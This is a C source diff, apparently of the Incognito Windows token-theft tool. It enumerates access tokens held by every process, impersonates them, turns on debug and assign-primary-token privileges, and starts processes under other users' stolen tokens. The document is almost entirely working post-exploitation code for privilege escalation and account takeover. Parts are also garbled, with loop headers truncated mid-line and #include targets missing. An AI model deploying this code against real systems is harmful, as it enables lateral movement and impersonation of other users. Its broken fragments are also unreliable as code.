(strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0) - { - token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeBackupPrivilege") == 0) - { - token_privs->SE_BACKUP_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeRestorePrivilege") == 0) - { - token_privs->SE_RESTORE_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeDebugPrivilege") == 0) - { - token_privs->SE_DEBUG_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0) - { - token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0) - { - token_privs->SE_RELABEL_PRIVILEGE = TRUE; - } - else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0) - { - token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE; - } - } - } - } - - CloseHandle(hObject2); - } - - pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pProcessInfo + (ULONG)pProcessInfo->NextEntryOffset); - } - } - -cleanup: - free(original_pProcessInfo); - - return token_list; -} - -void list_unique_tokens(TOKEN_ORDER token_order) -{ - DWORD num_unique_tokens = 0, num_tokens = 0, i; - unique_user_token *uniq_tokens = calloc(BUF_SIZE*4, sizeof(unique_user_token)); - SavedToken *token_list = NULL; - BOOL bTokensAvailable = FALSE, bPrivilegesAvailable = FALSE; - TOKEN_PRIVS token_privs; - - // Enumerate tokens - output_status_string("[*] Enumerating tokens\n"); - - token_list = get_token_list(&num_tokens, &token_privs); - - if (!token_list) - { - output_status_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); - return; - } - - // Process all tokens to get determinue unique names and delegation abilities - for (i=0;i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "list_tokens.h" +#include "token_info.h" +#include "handle_arguments.h" + + +typedef LONG NTSTATUS; +typedef VOID *POBJECT; + +typedef enum _OBJECT_INFORMATION_CLASS{ + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectAllTypesInformation, + ObjectHandleInformation +} OBJECT_INFORMATION_CLASS; + +typedef struct _SYSTEM_HANDLE { + ULONG uIdProcess; + UCHAR ObjectType; + UCHAR Flags; + USHORT Handle; + POBJECT pObject; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG uCount; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + BYTE Reserved1[52]; + PVOID Reserved2[3]; + HANDLE UniqueProcessId; + PVOID Reserved3; + ULONG HandleCount; + BYTE Reserved4[4]; + PVOID Reserved5[11]; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER Reserved6[6]; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) +#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) +#define SystemHandleInformation 16 +#define SystemProcessInformation 5 + +typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(DWORD SystemInformationClass, + PVOID SystemInformation, + DWORD SystemInformationLength, + PDWORD ReturnLength); + +typedef NTSTATUS (WINAPI *NTQUERYOBJECT)(HANDLE ObjectHandle, + OBJECT_INFORMATION_CLASS ObjectInformationClass, + PVOID ObjectInformation, + DWORD Length, + PDWORD ResultLength); + +NTQUERYOBJECT NtQueryObject ; +NTQUERYSYSTEMINFORMATION NtQuerySystemInformation; + +LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass); + +typedef UNICODE_STRING OBJECT_NAME_INFORMATION; +typedef UNICODE_STRING *POBJECT_NAME_INFORMATION; + +LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) +{ + LPWSTR data = NULL; + DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION); + POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) malloc(dwSize); + + NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize); + if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)){ + pObjectInfo =realloc(pObjectInfo ,dwSize); + ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize); + } + if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) + { + data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR)); + CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length); + } + free(pObjectInfo); + return data; +} + +static int compare_token_names(const unique_user_token *a, const unique_user_token *b) +{ + return _stricmp(a->username, b->username); +} + +SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs) +{ + DWORD total=0, i, j, num_tokens=0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION), dwError; + HANDLE process, hObject; + PSYSTEM_PROCESS_INFORMATION pProcessInfo=NULL; + PSYSTEM_PROCESS_INFORMATION original_pProcessInfo=NULL; + NTSTATUS ntReturn; + BOOL bMoreProcesses = TRUE; + + LPVOID TokenPrivilegesInfo[BUF_SIZE]; + DWORD returned_privileges_length, returned_name_length; + char privilege_name[BUF_SIZE]; + HANDLE hObject2=NULL; + + SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken)); + *num_tokens_enum = 0; + + token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = FALSE; + token_privs->SE_CREATE_TOKEN_PRIVILEGE = FALSE; + token_privs->SE_TCB_PRIVILEGE = FALSE; + token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = FALSE; + token_privs->SE_BACKUP_PRIVILEGE = FALSE; + token_privs->SE_RESTORE_PRIVILEGE = FALSE; + token_privs->SE_DEBUG_PRIVILEGE = FALSE; + token_privs->SE_IMPERSONATE_PRIVILEGE = FALSE; + token_privs->SE_RELABEL_PRIVILEGE = FALSE; + token_privs->SE_LOAD_DRIVER_PRIVILEGE = FALSE; + + // Enable debug privs if possible + TryEnableDebugPriv(NULL); + TryEnableAssignPrimaryPriv(NULL); + OpenProcessToken(GetCurrentProcess(), GENERIC_ALL/*MAXIMUM_ALLOWED*/, &hObject); + has_impersonate_priv(hObject); + + NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation"); + NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject"); + dwSize = 256*1000; + + pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize); + ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize); + + while (ntReturn == STATUS_INFO_LENGTH_MISMATCH) { + free(pProcessInfo); + pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize); + ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize); + } + + original_pProcessInfo = pProcessInfo; + + if(ntReturn == STATUS_SUCCESS) + { + while (bMoreProcesses) + { + if (pProcessInfo->NextEntryOffset == 0) + bMoreProcesses = FALSE; + + // if has impersonate privs, only needs read access + process = OpenProcess(MAXIMUM_ALLOWED,FALSE, (DWORD)pProcessInfo->UniqueProcessId); + + for(i = 0; i < pProcessInfo->HandleCount; i++) + { + if(process != INVALID_HANDLE_VALUE) + { + hObject = NULL; + + if(DuplicateHandle(process, (HANDLE)((i+1)*4), + GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE) + { + LPWSTR lpwsType=NULL; + lpwsType = GetObjectInfo(hObject, ObjectTypeInformation); + if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") && ImpersonateLoggedOnUser(hObject) != 0) + { + // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification + // also revert to self after getting new token context + // only process if it was impersonation or higher + OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2); + RevertToSelf(); + if (is_impersonation_token(hObject2) ) + { + // Reallocate space if necessary + if(*num_tokens_enum >= token_list_size) + { + token_list_size *= 2; + token_list = (SavedToken*)realloc(token_list, token_list_size*sizeof(SavedToken)); + if (!token_list) + goto cleanup; + } + token_list[*num_tokens_enum].token = hObject; + get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username); + + if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length)) + { + if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0) + for (j=0;j<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;j++) + { + returned_name_length = BUF_SIZE; + LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length); + if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0) + { + token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0) + { + token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeTcbPrivilege") == 0) + { + token_privs->SE_TCB_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0) + { + token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeBackupPrivilege") == 0) + { + token_privs->SE_BACKUP_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeRestorePrivilege") == 0) + { + token_privs->SE_RESTORE_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeDebugPrivilege") == 0) + { + token_privs->SE_DEBUG_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0) + { + token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0) + { + token_privs->SE_RELABEL_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0) + { + token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE; + } + } + } + + (*num_tokens_enum)++; + } + CloseHandle(hObject2); + } + else + CloseHandle(hObject); + } + } + } + + // Also process primary + // if has impersonate privs, only needs read access + process = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)pProcessInfo->UniqueProcessId); + dwError = OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject); + + if (dwError !=0 && ImpersonateLoggedOnUser(hObject) != 0) + { + // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification + // also revert to self after getting new token context + // only process if it was impersonation or higher + OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2); + RevertToSelf(); + if (is_impersonation_token(hObject2)) + { + token_list[*num_tokens_enum].token = hObject; + get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username); + (*num_tokens_enum)++; + + if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length)) + { + for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++) + { + returned_name_length = BUF_SIZE; + LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length); + if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0) + { + token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0) + { + token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeTcbPrivilege") == 0) + { + token_privs->SE_TCB_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0) + { + token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeBackupPrivilege") == 0) + { + token_privs->SE_BACKUP_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeRestorePrivilege") == 0) + { + token_privs->SE_RESTORE_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeDebugPrivilege") == 0) + { + token_privs->SE_DEBUG_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0) + { + token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0) + { + token_privs->SE_RELABEL_PRIVILEGE = TRUE; + } + else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0) + { + token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE; + } + } + } + } + + CloseHandle(hObject2); + } + + pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((size_t)pProcessInfo + (ULONG)pProcessInfo->NextEntryOffset); + } + } + +cleanup: + free(original_pProcessInfo); + + return token_list; +} + +void list_unique_tokens(TOKEN_ORDER token_order) +{ + DWORD num_unique_tokens = 0, num_tokens = 0, i; + unique_user_token *uniq_tokens = calloc(BUF_SIZE*4, sizeof(unique_user_token)); + SavedToken *token_list = NULL; + BOOL bTokensAvailable = FALSE, bPrivilegesAvailable = FALSE; + TOKEN_PRIVS token_privs; + + // Enumerate tokens + output_status_string("[*] Enumerating tokens\n"); + + token_list = get_token_list(&num_tokens, &token_privs); + + if (!token_list) + { + output_status_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); + return; + } + + // Process all tokens to get determinue unique names and delegation abilities + for (i=0;i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "list_tokens.h" +#include "child_process.h" +#include "token_info.h" +#include "handle_arguments.h" + +void create_process(HANDLE token, char *command, BOOL console_mode, SECURITY_IMPERSONATION_LEVEL impersonation_level); + + +void execute_process_with_primary_token(char** requested_username, DWORD num_of_targets, char *command, BOOL console_mode) +{ + DWORD num_unique_tokens = 0, num_tokens = 0, i, j = 0; + unique_user_token *uniq_tokens = calloc(BUF_SIZE, sizeof(unique_user_token)); + SavedToken *token_list = NULL; + BOOL bTokensAvailable = FALSE, delegation_available = FALSE, assignprimarypriv_gained = FALSE; + TOKEN_PRIVS token_privs; + + // Enumerate tokens + token_list = get_token_list(&num_tokens, &token_privs); + if (!token_list) + { + return; + } + + // Process all tokens to get determinue unique names and delegation abilities + for (i=0;i 0) + { + BOOL cleanupneeded = FALSE; + for (j = 0; j < num_of_targets; j++) { + for (i = 0; i < num_unique_tokens; i++) { + if (!_stricmp(uniq_tokens[i].username, requested_username[j]))//&& uniq_tokens[i].impersonation_available) + { + if (uniq_tokens[i].delegation_available) + delegation_available = TRUE; + for (size_t p = 0; p < num_tokens; p++) + { + if (is_token(token_list[p].token, requested_username[j]))//&& is_impersonation_token(token_list[i].token)) + { + if (delegation_available && is_delegation_token(token_list[p].token)) + { + create_process(token_list[p].token, command, console_mode, SecurityDelegation); + } + else + { + create_process(token_list[p].token, command, console_mode, SecurityImpersonation); + } + i = num_unique_tokens; + cleanupneeded = TRUE; + break; + } + } + } + } + } + if (cleanupneeded) { + goto cleanup; + } + } + +cleanup: + RevertToSelf(); + for (i=0;i -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "handle_arguments.h" - -BOOL get_domain_from_token(HANDLE token, char *domain_to_return) -{ - LPVOID TokenUserInfo[BUF_SIZE]; - char username[BUF_SIZE], domainname[BUF_SIZE]; - DWORD user_length = sizeof(username), domain_length = sizeof(domainname), sid_type = 0, returned_tokinfo_length; - - if (!GetTokenInformation(token, TokenUser, TokenUserInfo, BUF_SIZE, &returned_tokinfo_length)) - return FALSE; - LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username, &user_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); - - strcpy(domain_to_return, domainname); - - return TRUE; -} - -BOOL get_domain_username_from_token(HANDLE token, char *full_name_to_return) -{ - LPVOID TokenUserInfo[BUF_SIZE]; - char username[BUF_SIZE], domainname[BUF_SIZE]; - DWORD user_length = sizeof(username), domain_length = sizeof(domainname), sid_type = 0, returned_tokinfo_length; - - if (!GetTokenInformation(token, TokenUser, TokenUserInfo, BUF_SIZE, &returned_tokinfo_length)) - return FALSE; - LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username, &user_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); - - // Make full name in DOMAIN\USERNAME format - sprintf(full_name_to_return, "%s\\%s", domainname, username); - - return TRUE; -} - -BOOL get_domain_groups_from_token(HANDLE token, char **group_name_array[], DWORD *num_groups) -{ - LPVOID TokenGroupsInfo[BUF_SIZE]; - char groupname[BUF_SIZE], domainname[BUF_SIZE]; - DWORD i, group_length = sizeof(groupname), domain_length = sizeof(domainname), sid_type = 0, returned_tokinfo_length; - - if (!GetTokenInformation(token, TokenGroups, TokenGroupsInfo, BUF_SIZE, &returned_tokinfo_length)) - return FALSE; - - *group_name_array = (char**)calloc(((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount, sizeof(char*)); - *num_groups = ((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount; - - for (i=0;i<*num_groups;i++) - { - if((((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Attributes & SE_GROUP_ENABLED) != 0) - { - group_length = BUF_SIZE; - domain_length = BUF_SIZE; // fix bug with insufficient buffer size due to reusing last length value - LookupAccountSidA(NULL, ((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Sid, groupname, &group_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); - (*group_name_array)[i] = (char*)calloc(BUF_SIZE, sizeof(char)); - // Make full name in DOMAIN\GROUPNAME format - sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname); - } - else - { - (*group_name_array)[i] = (char*)calloc(BUF_SIZE, sizeof(char)); - sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname); - } - } - - return TRUE; -} - -BOOL is_delegation_token(HANDLE token) -{ - HANDLE temp_token; - BOOL ret; - LPVOID TokenImpersonationInfo[BUF_SIZE]; - DWORD returned_tokinfo_length; - - if (GetTokenInformation(token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length)) - if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInfo) == SecurityDelegation) - return TRUE; - else - return FALSE; - - ret = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenImpersonation, &temp_token); - CloseHandle(temp_token); - return ret; -} - -BOOL is_impersonation_token(HANDLE token) -{ - HANDLE temp_token; - BOOL ret; - LPVOID TokenImpersonationInfo[BUF_SIZE]; - DWORD returned_tokinfo_length; - - if (GetTokenInformation(token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length)) - if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInfo) >= SecurityImpersonation) - return TRUE; - else - return FALSE; - - ret = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &temp_token); - CloseHandle(temp_token); - return ret; -} - -BOOL is_token(HANDLE token, char *requested_name) -{ - DWORD i, num_groups=0; - char *full_name, **group_name_array = NULL; - BOOL ret = FALSE; - - // If token is NULL then return - if (!token) - return FALSE; - - full_name = calloc(BUF_SIZE, sizeof(char)); - get_domain_username_from_token(token, full_name); - if (!_stricmp(requested_name, full_name)) - ret = TRUE; - - get_domain_groups_from_token(token, &group_name_array, &num_groups); - - for (i=0;iPrivilegeCount;i++) - { - returned_name_length = BUF_SIZE; - LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length); - if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0) - return TRUE; - } - } - - exit: - if(hToken) - CloseHandle(hToken); - - return FALSE; -} - -BOOL has_assignprimarytoken_priv(HANDLE hToken) -{ - LUID luid; - LPVOID TokenPrivilegesInfo[BUF_SIZE]; - DWORD returned_privileges_length, returned_name_length, i; - char privilege_name[BUF_SIZE]; - - if(!LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid)) - goto exit; - - if (GetTokenInformation(hToken, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length)) - { - for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++) - { - returned_name_length = BUF_SIZE; - LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length); - if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0) - return TRUE; - } - } - - exit: - if(hToken) - CloseHandle(hToken); - - return FALSE; -} - -DWORD TryEnableDebugPriv(HANDLE token) -{ - HANDLE hToken = token; - DWORD dwError = 0; - TOKEN_PRIVILEGES privileges; - - if(hToken == NULL && !OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) - { - dwError = GetLastError(); - goto exit; - } - - if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privileges.Privileges[0].Luid)) - { - dwError = GetLastError(); - goto exit; - } - - privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - privileges.PrivilegeCount = 1; - - if(AdjustTokenPrivileges(hToken, FALSE, &privileges, 0, NULL, NULL) == 0) - { - dwError = GetLastError(); - goto exit; - } - - exit: - if(token == NULL && hToken) - CloseHandle(hToken); - - return dwError; -} - -DWORD TryEnableAssignPrimaryPriv(HANDLE token) -{ - HANDLE hToken = token; - DWORD dwError = 0; - TOKEN_PRIVILEGES privileges; - - if(hToken == NULL && !OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) - { - dwError = GetLastError(); - goto exit; - } - - if(!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privileges.Privileges[0].Luid)) - { - dwError = GetLastError(); - goto exit; - } - - privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - privileges.PrivilegeCount = 1; - - if(AdjustTokenPrivileges(hToken, FALSE, &privileges, 0, NULL, NULL) == 0) - { - dwError = GetLastError(); - goto exit; - } - - exit: - if(token == NULL && hToken) - CloseHandle(hToken); - - return dwError; +/* +Software License Agreement (BSD License) + +Copyright (c) 2006, Luke Jennings (0xlukej@gmail.com) +All rights reserved. + +Redistribution and use of this software in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above + copyright notice, this list of conditions and the + following disclaimer. + +* Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the + following disclaimer in the documentation and/or other + materials provided with the distribution. + +* Neither the name of Luke Jennings nor the names of its + contributors may be used to endorse or promote products + derived from this software without specific prior + written permission of Luke Jennings. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "handle_arguments.h" + +BOOL get_domain_from_token(HANDLE token, char *domain_to_return) +{ + LPVOID TokenUserInfo[BUF_SIZE]; + char username[BUF_SIZE], domainname[BUF_SIZE]; + DWORD user_length = sizeof(username), domain_length = sizeof(domainname), sid_type = 0, returned_tokinfo_length; + + if (!GetTokenInformation(token, TokenUser, TokenUserInfo, BUF_SIZE, &returned_tokinfo_length)) + return FALSE; + LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username, &user_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); + + strcpy(domain_to_return, domainname); + + return TRUE; +} + +BOOL get_domain_username_from_token(HANDLE token, char *full_name_to_return) +{ + LPVOID TokenUserInfo[BUF_SIZE]; + char username[BUF_SIZE], domainname[BUF_SIZE]; + DWORD user_length = sizeof(username), domain_length = sizeof(domainname), sid_type = 0, returned_tokinfo_length; + + if (!GetTokenInformation(token, TokenUser, TokenUserInfo, BUF_SIZE, &returned_tokinfo_length)) + return FALSE; + LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username, &user_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); + + // Make full name in DOMAIN\USERNAME format + sprintf(full_name_to_return, "%s\\%s", domainname, username); + + return TRUE; +} + +BOOL get_domain_groups_from_token(HANDLE token, char **group_name_array[], DWORD *num_groups) +{ + LPVOID TokenGroupsInfo[BUF_SIZE]; + char groupname[BUF_SIZE], domainname[BUF_SIZE]; + DWORD i, group_length = sizeof(groupname), domain_length = sizeof(domainname), sid_type = 0, returned_tokinfo_length; + + if (!GetTokenInformation(token, TokenGroups, TokenGroupsInfo, BUF_SIZE, &returned_tokinfo_length)) + return FALSE; + + *group_name_array = (char**)calloc(((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount, sizeof(char*)); + *num_groups = ((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount; + + for (i=0;i<*num_groups;i++) + { + if((((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Attributes & SE_GROUP_ENABLED) != 0) + { + group_length = BUF_SIZE; + domain_length = BUF_SIZE; // fix bug with insufficient buffer size due to reusing last length value + DWORD ret = LookupAccountSidA(NULL, ((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Sid, groupname, &group_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); + + (*group_name_array)[i] = (char*)calloc(2*BUF_SIZE + 3, sizeof(char)); + if (ret != 0) { + // Make full name in DOMAIN\GROUPNAME format + sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname); + } + else { + //printf("SID lookup failed. %d\n", GetLastError()); + } + } + else + { + (*group_name_array)[i] = (char*)calloc(2*BUF_SIZE + 3, sizeof(char)); + sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname); + } + } + + return TRUE; +} + +BOOL is_delegation_token(HANDLE token) +{ + HANDLE temp_token; + BOOL ret; + LPVOID TokenImpersonationInfo[BUF_SIZE]; + DWORD returned_tokinfo_length; + + if (GetTokenInformation(token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length)) + if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInfo) == SecurityDelegation) + return TRUE; + else + return FALSE; + + ret = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenImpersonation, &temp_token); + CloseHandle(temp_token); + return ret; +} + +BOOL is_impersonation_token(HANDLE token) +{ + HANDLE temp_token; + BOOL ret; + LPVOID TokenImpersonationInfo[BUF_SIZE]; + DWORD returned_tokinfo_length; + + if (GetTokenInformation(token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length)) + if (*((SECURITY_IMPERSONATION_LEVEL*)TokenImpersonationInfo) >= SecurityImpersonation) + return TRUE; + else + return FALSE; + + ret = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &temp_token); + CloseHandle(temp_token); + return ret; +} + +BOOL is_token(HANDLE token, char *requested_name) +{ + DWORD i, num_groups=0; + char *full_name, **group_name_array = NULL; + BOOL ret = FALSE; + + // If token is NULL then return + if (!token) + return FALSE; + + full_name = calloc(BUF_SIZE, sizeof(char)); + get_domain_username_from_token(token, full_name); + if (!_stricmp(requested_name, full_name)) + ret = TRUE; + + get_domain_groups_from_token(token, &group_name_array, &num_groups); + + for (i=0;iPrivilegeCount;i++) + { + returned_name_length = BUF_SIZE; + LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length); + if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0) + return TRUE; + } + } + + exit: + if(hToken) + CloseHandle(hToken); + + return FALSE; +} + +BOOL has_assignprimarytoken_priv(HANDLE hToken) +{ + LUID luid; + LPVOID 